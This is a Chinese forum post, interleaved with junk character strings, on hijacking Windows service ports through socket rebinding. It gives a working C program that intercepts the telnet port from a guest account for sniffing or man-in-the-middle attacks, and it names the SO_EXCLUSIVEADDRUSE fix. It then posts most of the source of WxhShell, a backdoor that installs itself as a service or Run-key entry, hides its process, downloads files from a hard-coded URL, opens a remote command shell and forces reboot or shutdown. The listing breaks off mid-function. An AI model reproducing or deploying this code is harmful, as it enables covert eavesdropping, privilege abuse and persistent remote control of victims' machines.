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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 91DevizXx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wF59g38[z$  
" RIt  
  saddr.sin_family = AF_INET; !lA~;F  
~PU}==*q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kV8qpw}K  
_lRIS_^;eE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e AaS }g 0  
~-uDN)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3df5 e0  
'-$cvH7_  
  这意味着什么?意味着可以进行如下的攻击: _c-(T&u<  
0%,?z`UY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CkNh3'<wg  
@W~aoq6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3II*NANeg  
I :bT"N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u yE#EnsH  
q-,`\ TS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Nus]]Iy-g  
rV?@Kgxi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qv |}>wU  
(m=1yj9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +At0V(  
'+'h^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @hrIu" '!  
OI3j!L2f  
  #include @=Dc(5`[  
  #include ?ef7%0  
  #include Y##lFEt  
  #include    h`(VMf'#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s0 Z)BR #  
  int main() }r;=<mc,O  
  { YN7`18u  
  WORD wVersionRequested; )h{+pK  
  DWORD ret; x|()f 3{.  
  WSADATA wsaData; tZFpxyF  
  BOOL val; 'Asr,[]?  
  SOCKADDR_IN saddr; 0F%?< : &  
  SOCKADDR_IN scaddr; yL -}E  
  int err; I7#JT?\}  
  SOCKET s; d<WNN1f  
  SOCKET sc; o` dQ  
  int caddsize; 6#\:J0  
  HANDLE mt; u1d%wOY  
  DWORD tid;   #B#xSmak  
  wVersionRequested = MAKEWORD( 2, 2 ); 2uV5hSHYe  
  err = WSAStartup( wVersionRequested, &wsaData ); 2 !9Zw$  
  if ( err != 0 ) { w@n}DCFt  
  printf("error!WSAStartup failed!\n"); C}DIm&))  
  return -1; EB6X Yr  
  } 7@m+ y  
  saddr.sin_family = AF_INET; _A0X[}^K  
   nE2?3S>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .M ID)PY-  
|ZXz&Xor  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "=JE12=u  
  saddr.sin_port = htons(23); !\O!Du  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FJxb!- 0&  
  { mAJ'>^`^  
  printf("error!socket failed!\n"); Kb1@+  
  return -1; xO,;4uE  
  } ]KG.-o30  
  val = TRUE; h~z}NP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e"*ho[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dJdOh#8+Xi  
  { 4gWlSm)  
  printf("error!setsockopt failed!\n"); Lw1[)Vk}E  
  return -1; ]1W]  
  } "<%J^Z9G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8#o2qQ2+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \w(0k^<7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Cb.M  
*/K]sQZa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (v? rZv  
  { B7'yc`)H  
  ret=GetLastError(); 3preBs#i  
  printf("error!bind failed!\n"); BMV\@Sg  
  return -1; >ffC?5+  
  } 9]1LwX!M2  
  listen(s,2); U;"J8  
  while(1)  C ?'s  
  { ]^i^L  
  caddsize = sizeof(scaddr); ]9JH.fF  
  //接受连接请求 BN FYUcVP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S_RP& +!7  
  if(sc!=INVALID_SOCKET) 'fk6]&-I  
  { ?5,I`9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZvO1=* J,  
  if(mt==NULL) ~`B]G  
  { {Ve`VV5E  
  printf("Thread Creat Failed!\n"); pK"Z9y&  
  break; !@ y/{~Gu  
  } OPogH=vf  
  } >l=^3B,j  
  CloseHandle(mt); IY mkZ?cW  
  } HS\'{4P  
  closesocket(s); bw+IH-b  
  WSACleanup(); m&be55M;  
  return 0; 3"k n5)x  
  }   ^=PY6!iW  
  DWORD WINAPI ClientThread(LPVOID lpParam) P:3o}CB1I  
  { {y%@1q%"  
  SOCKET ss = (SOCKET)lpParam; 5@I/+D  
  SOCKET sc; "}H2dn2n  
  unsigned char buf[4096]; gFfKK`)}D'  
  SOCKADDR_IN saddr; \ Z5160  
  long num; v-Q>I5D;:  
  DWORD val; $+Z2q<UT  
  DWORD ret; )e6sg]#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wwJs_f\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j#Lj<jX!xR  
  saddr.sin_family = AF_INET; #CB Kt,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jc#gn& 4C  
  saddr.sin_port = htons(23); _9Rj,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  a3a:H  
  { q(1hY"S"}b  
  printf("error!socket failed!\n"); d3#e7rQ8  
  return -1; {SRD\&J[  
  } lQm7`+  
  val = 100; 8LXK3D}?3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )V*`(dn'zm  
  { JRj{Q 1J  
  ret = GetLastError(); :hR^?{9Z4>  
  return -1; R|wS*xd,  
  } xj3{Ke`6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f;Ijl0d@  
  { p1mAoVxR  
  ret = GetLastError(); && PZ;  
  return -1; k72NXagh  
  } YNKvR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y|3("&)"S  
  { 'Z#>K*  
  printf("error!socket connect failed!\n"); zG^$-L.n  
  closesocket(sc); tT]mMlKJ  
  closesocket(ss); 5Nbq9YY  
  return -1; =ReSlt  
  } Neii$  
  while(1) _g,_G  
  { HnsLYY\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BqdpJIr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e+>$4Jq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n1PvZ~^3  
  num = recv(ss,buf,4096,0); VRSBf;?  
  if(num>0) *m`x/_y+  
  send(sc,buf,num,0); M 8(w+h{  
  else if(num==0) l k /Ke  
  break; |_ U!i  
  num = recv(sc,buf,4096,0); W%o! m,zFM  
  if(num>0) A0v@L6m-O  
  send(ss,buf,num,0); 2d  YU  
  else if(num==0) Ag8lI+ h  
  break; 1Y~'U =9  
  } 8|5+\1!#/)  
  closesocket(ss); 6Lg#co}9  
  closesocket(sc); C#3&,G W  
  return 0 ; 0V`~z-#  
  } F|o 1r  
NdX  C8  
R9QW%!:,\2  
========================================================== j8rxhToC  
h%v qt~0  
下边附上一个代码,,WXhSHELL mC?}:W M@  
L;+e)I]  
========================================================== CUBL/U\=  
+ [$Td%6  
#include "stdafx.h" jyidNPLm4  
w"O;: `|n  
#include <stdio.h> |tTcJ\bG  
#include <string.h> &4l!2  
#include <windows.h> L%-ENk  
#include <winsock2.h> +"~*L,ken0  
#include <winsvc.h> M8y|Lm}o  
#include <urlmon.h> 1(% 6X*z  
#yEkd2Vy{  
#pragma comment (lib, "Ws2_32.lib") vu*9(t)EC  
#pragma comment (lib, "urlmon.lib") [lK`~MlQ  
Q7/Jyx|  
#define MAX_USER   100 // 最大客户端连接数 bBGg4{  
#define BUF_SOCK   200 // sock buffer lEb H4 g  
#define KEY_BUFF   255 // 输入 buffer  u bZ`Y$  
e:_[0#  
#define REBOOT     0   // 重启 |W&K@g$  
#define SHUTDOWN   1   // 关机 EZ hk(LE  
z=8l@&hYLq  
#define DEF_PORT   5000 // 监听端口 n,_9Eh#WD  
!<b+7 A  
#define REG_LEN     16   // 注册表键长度 O-P`HKr  
#define SVC_LEN     80   // NT服务名长度 ![MtJo5  
<dz_7hR"  
// 从dll定义API tq=M 9c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WE-+WC!!:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w]N;HlU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [=u@6Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1W}k>t8?h'  
k ,r*xt  
// wxhshell配置信息  J&+"  
struct WSCFG { O~6AX)|&=  
  int ws_port;         // 监听端口 qQ,(O5$|  
  char ws_passstr[REG_LEN]; // 口令 ~L> &p  
  int ws_autoins;       // 安装标记, 1=yes 0=no (IA:4E}  
  char ws_regname[REG_LEN]; // 注册表键名 _p9 _Pg8  
  char ws_svcname[REG_LEN]; // 服务名   &._Mh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >N}+O<Fc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vB5mOXGNq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;$qc@)Uwp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yWr &G@>G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2+R]q35-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $:onKxVM  
*GdJ<B$  
}; %0 U@k!lP  
3jto$_3'w  
// default Wxhshell configuration FR]uCH  
struct WSCFG wscfg={DEF_PORT, <Oy2 JjY  
    "xuhuanlingzhe", aghlYcPg  
    1, y'JJ#7O=  
    "Wxhshell", zhyf}Ta'  
    "Wxhshell", xr!A>q+@i  
            "WxhShell Service", ~i>'3j0@k  
    "Wrsky Windows CmdShell Service", |]-~yYqP3  
    "Please Input Your Password: ", eQqCRXx  
  1, VjZb\ d4  
  "http://www.wrsky.com/wxhshell.exe", #ZHKq7  
  "Wxhshell.exe" 6r[pOl:  
    }; e%0IE X  
_LWMz=U=J/  
// 消息定义模块 x$S~>H<a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +]hc!s8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jDj=a->e^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >: J1Gc  
char *msg_ws_ext="\n\rExit."; EFu>  
char *msg_ws_end="\n\rQuit."; tM;+U  
char *msg_ws_boot="\n\rReboot..."; vJ&35nF&  
char *msg_ws_poff="\n\rShutdown..."; hIa,PZ/Q  
char *msg_ws_down="\n\rSave to "; H3Zt 3l1u+  
1Eryw~,,9i  
char *msg_ws_err="\n\rErr!"; I6S>*V  
char *msg_ws_ok="\n\rOK!"; VHL[Y  
q'X#F8v  
char ExeFile[MAX_PATH]; RGY#0.Z}  
int nUser = 0; bPl'?3  
HANDLE handles[MAX_USER]; /u"Iq8QA  
int OsIsNt; Ie8K [ >  
_~*ba+{  
SERVICE_STATUS       serviceStatus; 7&V3f=aj6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OSC_-[b-  
ye| 2gH  
// 函数声明 cn9=wm\\  
int Install(void); E6-~  
int Uninstall(void); &G3$q,`H  
int DownloadFile(char *sURL, SOCKET wsh); GB6(WAmr  
int Boot(int flag); +>% AG&Pc  
void HideProc(void); 'sk M$jr  
int GetOsVer(void); z34+1d  
int Wxhshell(SOCKET wsl); Z_T~2t  
void TalkWithClient(void *cs); *r6v9  
int CmdShell(SOCKET sock); ZalL}?E ?  
int StartFromService(void); Prv=f@  
int StartWxhshell(LPSTR lpCmdLine); +bWo{   
Kf6D$}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S7R*R}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dcE(uf  
`_J>R  
// 数据结构和表定义 q1/mp){  
SERVICE_TABLE_ENTRY DispatchTable[] = ;Z,l};b  
{ B{V(g"dM  
{wscfg.ws_svcname, NTServiceMain}, aZ ta%3`)  
{NULL, NULL} a6/ETQ  
}; LM!@LQAMY  
!VvM  
// 自我安装 `0R>r7f)H  
int Install(void) MLmv+  
{ F@ZB6~T~.  
  char svExeFile[MAX_PATH]; j~hvPlho  
  HKEY key; 5ai$W`6  
  strcpy(svExeFile,ExeFile); tZr_{F@  
^j?"0|  
// 如果是win9x系统,修改注册表设为自启动 G[P<!6Id!p  
if(!OsIsNt) { 1L3 $h0i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]v$2JgF]@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i6^-fl  
  RegCloseKey(key); o;pJjC]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hCj8y.X|E(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (IAR-957pN  
  RegCloseKey(key); YD5mJ[1t"2  
  return 0; 1.a:iweN  
    } tA K=W$r  
  } ip*UujmNyR  
} cs]3Rp^g  
else { :&s8G*  
`O?j -zR  
// 如果是NT以上系统,安装为系统服务 ?A 5;"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #5^S@}e  
if (schSCManager!=0) Wtflw>-  
{ @^b>S6d "  
  SC_HANDLE schService = CreateService {ka={7  
  ( YXGxE&!  
  schSCManager, 1(Lq9hs`  
  wscfg.ws_svcname, h-*h;Uyc  
  wscfg.ws_svcdisp, + a'nP=e&  
  SERVICE_ALL_ACCESS, =jRC4]M})  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nA+gqY6 6|  
  SERVICE_AUTO_START, 1]7v3m  
  SERVICE_ERROR_NORMAL, In}~bNv?  
  svExeFile, ;O({|mpS\  
  NULL, BM02k\%  
  NULL, =>xyJ->R  
  NULL, 3+I"Dm,  
  NULL, ,WS{O6O7  
  NULL e~$aJO@B.R  
  ); ban;HGGNG{  
  if (schService!=0) 0-Wv$o[  
  { v&"sTcS|  
  CloseServiceHandle(schService); #-g2p?+i&  
  CloseServiceHandle(schSCManager); HU-#xK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?a~#`<  
  strcat(svExeFile,wscfg.ws_svcname); u9ue>I /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FF30 VlJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /I0}(;^y  
  RegCloseKey(key); %nj{eT  
  return 0; ->@iw!5xu  
    } eXtlqU$  
  } WAGU|t#."  
  CloseServiceHandle(schSCManager); ET~^P  
} W0# VDe]>  
} R^6^ {q  
 `=I@W  
return 1; ],f%: ?%50  
} !f# [4Xw  
b*cVC^{Dy  
// 自我卸载 *Di ;Gf@  
int Uninstall(void) B|- W  
{ ,)t/1oQ}>^  
  HKEY key; %r:Uff@  
^:o^g'Yab  
if(!OsIsNt) { ujbJ&p   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZJ |&t  
  RegDeleteValue(key,wscfg.ws_regname); <{k8 K6  
  RegCloseKey(key); lJU]sZ9~b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cb_nlG!  
  RegDeleteValue(key,wscfg.ws_regname); WNiM&iU  
  RegCloseKey(key); W%K=N-kE_  
  return 0; j`k :)  
  } 3}i(i0+  
} j4eq.{$  
} lD?]D&  
else { UphZRgT!N  
v`~egE17  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HJOoCf  
if (schSCManager!=0) Opf^#6'mq  
{ X"v)9 p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vpf7~2[q%  
  if (schService!=0) mUwGr_)wj  
  { X%Ta?(9|.^  
  if(DeleteService(schService)!=0) { w;V+)r?w  
  CloseServiceHandle(schService); Qy| 6A@  
  CloseServiceHandle(schSCManager); uS{WeL6%  
  return 0; c4FU@^Vv  
  } p~Mw^SN'  
  CloseServiceHandle(schService); Q%_MO`<]$  
  } ROr|  <  
  CloseServiceHandle(schSCManager); 6Vy4]jdT5  
} wZ~eE'zx+  
} nbSu|sX~r5  
HmRmZ3~  
return 1; 3aEO9v,n  
} QZ_8r#2x  
Cq<k(TKAX  
// 从指定url下载文件 S(hT3MAW  
int DownloadFile(char *sURL, SOCKET wsh) O|0}m  
{ -! :h]  
  HRESULT hr; :X#'E Lo|  
char seps[]= "/"; :.W</o~\s  
char *token; 2M?L++i  
char *file; 4XArpKA  
char myURL[MAX_PATH]; p(S {k]ZL@  
char myFILE[MAX_PATH]; p|'Rm ]&jb  
pL{:8Ed  
strcpy(myURL,sURL); P<IZ%eS3B  
  token=strtok(myURL,seps); lxOUV?m^N  
  while(token!=NULL) Eilo;-El  
  { qJEtB;J'  
    file=token; ~DUOL ~E  
  token=strtok(NULL,seps); `Bv, :i  
  } ')~[J$qz  
^TCfj^FP  
GetCurrentDirectory(MAX_PATH,myFILE); ]YwvwmZ  
strcat(myFILE, "\\"); D>"!7+t|@a  
strcat(myFILE, file); iLJBiZ+  
  send(wsh,myFILE,strlen(myFILE),0); Ox"SQ`nSj'  
send(wsh,"...",3,0); %1%@L7wP>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r*W&SU9Z  
  if(hr==S_OK) &W-1W99auE  
return 0; S *K0OUq  
else qiyJ4^1  
return 1; \Gz 79VW  
rZG6}<Hx  
} yI_MY L[  
<'z.3@D  
// 系统电源模块 f&`yiy_  
int Boot(int flag) kDK0L3}nr]  
{ (t2vt[A6ph  
  HANDLE hToken; |FJc'&)J"  
  TOKEN_PRIVILEGES tkp; xX2/uxi8  
:V:siIDn  
  if(OsIsNt) { WEk3 4crk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R(<_p"9(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6gJc?+  
    tkp.PrivilegeCount = 1; gL6.,4q+1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rJ fO/WK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (j884bu  
if(flag==REBOOT) { Qe1WT T]:I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s f<NC>-  
  return 0; Cc!LJ  
} %pr}Xs(-f  
else { g2W ZW#a)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lsRW.h,  
  return 0; S]}W+BF3  
} 2U`g[1  
  } `NARJ9M   
  else { =1Tn~)^O  
if(flag==REBOOT) { wb/@g=` d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  eAbp5}B  
  return 0; }tUr V   
} n3JSEu;J  
else { u1_NC;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) >8k8E  
  return 0; ,kw:g&A  
} C'xWRSDO  
} Q(ec>+oi  
1ppU ?#  
return 1; ]m"6a-,`  
} oAxCI/  
4#2iq@s  
// win9x进程隐藏模块 k|[86<&[  
void HideProc(void) geEETb} +y  
{ $' >|r]  
 Ts 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QeipfK+me  
  if ( hKernel != NULL ) 8VR! Y0`e  
  { k{w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QKtVwsz +  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )SsO,E+t=U  
    FreeLibrary(hKernel); #FsoK*F  
  } ,ku3;58O<  
A!fRpN  
return; /^9yncG;>  
} WTQd}f  
<<[\ Rv  
// 获取操作系统版本 -JfO} DRI  
int GetOsVer(void) A6%~+9  
{ 73>Hzpv0  
  OSVERSIONINFO winfo; 1n )&%r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Ts rg  
  GetVersionEx(&winfo); LXx`Vk>ky  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -x2&IJ!  
  return 1; %][6TZ}  
  else t[Ywp!y[  
  return 0; a&s&6Q|Y  
} xm bFJUMH  
Xe>   
// 客户端句柄模块 EK<ly"S.  
int Wxhshell(SOCKET wsl) D}A>`6W<  
{ rwvCp_pN.  
  SOCKET wsh; >'|Wrz67Z  
  struct sockaddr_in client; V}+Ui]ie|I  
  DWORD myID; #JW~&;  
(GXFPEH8  
  while(nUser<MAX_USER) mM)d`br  
{ YKG}4{T  
  int nSize=sizeof(client); [pYjH+<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  NncII5z  
  if(wsh==INVALID_SOCKET) return 1; &)#bdt[  
7/GL@H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vK,.P:n  
if(handles[nUser]==0) O t1:z:Pl  
  closesocket(wsh); zTS#o#`!\  
else 6`U]%qx_I  
  nUser++; &VfMv'%x  
  } >XK |jPK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |&0zAP"\  
Q9NKQuSu  
  return 0; TwLQ;Q  
} 7bC)Co#:   
{ K *  
// 关闭 socket 9>hK4&m^  
void CloseIt(SOCKET wsh) 1]]#HTwX  
{ i :Sih"=  
closesocket(wsh); ?_+8K`B  
nUser--; Kuy0Ci  
ExitThread(0); P* .0kR1n  
} 56T{JTo  
U.p"JSH L  
// 客户端请求句柄 l~*D jr~  
void TalkWithClient(void *cs) ]Wdnr1d~8  
{ <^Sp4J  
NG?-dkD  
  SOCKET wsh=(SOCKET)cs; Rg6/6/ IN  
  char pwd[SVC_LEN]; _1kcz]]F  
  char cmd[KEY_BUFF]; jRYW3a_7  
char chr[1]; "6zf-++%  
int i,j; iK3gw<g  
!J-oGs\ u  
  while (nUser < MAX_USER) { ~#y(]Xec2  
 - j_  
if(wscfg.ws_passstr) { ]q CCCI`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m.2=,,r<Fq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Tm8sQ)1  
  //ZeroMemory(pwd,KEY_BUFF); B7ty*)i?  
      i=0; ISALR{Aq  
  while(i<SVC_LEN) { Z@ZSn0  
\:|"qk  
  // 设置超时 @w{"6xc%a  
  fd_set FdRead; &JHqUVs^  
  struct timeval TimeOut; ypV>*  
  FD_ZERO(&FdRead); /j:fc?yv  
  FD_SET(wsh,&FdRead); wC~LZSTt  
  TimeOut.tv_sec=8; ]0@ 06G(y  
  TimeOut.tv_usec=0; lz88//@gZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b?deZ2"L#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .U9A \$  
Ab/KVB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zt H{2j0  
  pwd=chr[0]; `d6,]'  
  if(chr[0]==0xd || chr[0]==0xa) { .:V4>  
  pwd=0; [|{m/`8C  
  break; *>8Y/3Y\B  
  } =%ZR0cWPoI  
  i++; fNaboNj[  
    } E{W(5.kb;i  
]?A-D,!(  
  // 如果是非法用户,关闭 socket +L\bg| ;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !(>yB;u  
} .Mu]uQUF  
F=l.2t*9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xl\yOMfp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 ~d\+aV  
yOr5kWqX  
while(1) { >a$b4 pvh  
,J ZM%f  
  ZeroMemory(cmd,KEY_BUFF); 2X!!RS>qg  
I^itlQ  
      // 自动支持客户端 telnet标准   BOf)27)  
  j=0; IM$I=5y e  
  while(j<KEY_BUFF) { C3GI?| b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }j6<S-s~  
  cmd[j]=chr[0]; gi5Ffvs$  
  if(chr[0]==0xa || chr[0]==0xd) { Z&Ao;=Gp1  
  cmd[j]=0; A!.* eIV|  
  break; xA {1XS}  
  } <Z^qBM  
  j++; ztHEXM.  
    } ~zD*=h2C  
:Yy8Ie#  
  // 下载文件 (043G[H'.  
  if(strstr(cmd,"http://")) { F,>-+~L=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |?Bb{Es  
  if(DownloadFile(cmd,wsh)) aT`. e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#g4R  
  else 8jz[;.jP",  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F}dq~QCzw  
  } $mZpX:7/u8  
  else { CY i{WV(:  
bf&k:.v'8  
    switch(cmd[0]) { -e(,>9Q  
  6> Ca O  
  // 帮助 4,P!D3SH  
  case '?': { StWF66u34&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6kM'f}t[C  
    break; ;gmfWHB<  
  } y_A?} 'X  
  // 安装 c3G&)gU4q  
  case 'i': { ?2$0aq  
    if(Install()) j~VHU89  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.F+T)G  
    else SdOE^_@:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U)y~{E~c34  
    break; [V_?`M  
    } yNk E>  
  // 卸载 kFsq23Ne  
  case 'r': { U**v'%{s  
    if(Uninstall()) 4C[n@ p2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hDc)\vzr  
    else [tY+P7j9)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yvbk[Rb  
    break; [5O`  
    } k>;a5'S  
  // 显示 wxhshell 所在路径 z3>oUq{  
  case 'p': { /'g"Ys?3  
    char svExeFile[MAX_PATH]; y.m;4((  
    strcpy(svExeFile,"\n\r"); S+Vsy(  
      strcat(svExeFile,ExeFile); Yiy|^j  
        send(wsh,svExeFile,strlen(svExeFile),0); sg!* %*XQ  
    break; LJII7<k  
    } |`i.8  
  // 重启 SP |R4*KY  
  case 'b': { wM#BQe3t#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X=d;WT4,,  
    if(Boot(REBOOT)) <<:a >)6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ZS8}X*S  
    else { TSCc=c  
    closesocket(wsh); *Ul L\  
    ExitThread(0); VG+WVk  
    } >W[#-jA_Z  
    break; | *J-9  
    } #v QyECf  
  // 关机 ?g~g GQV  
  case 'd': { Z6XP..  
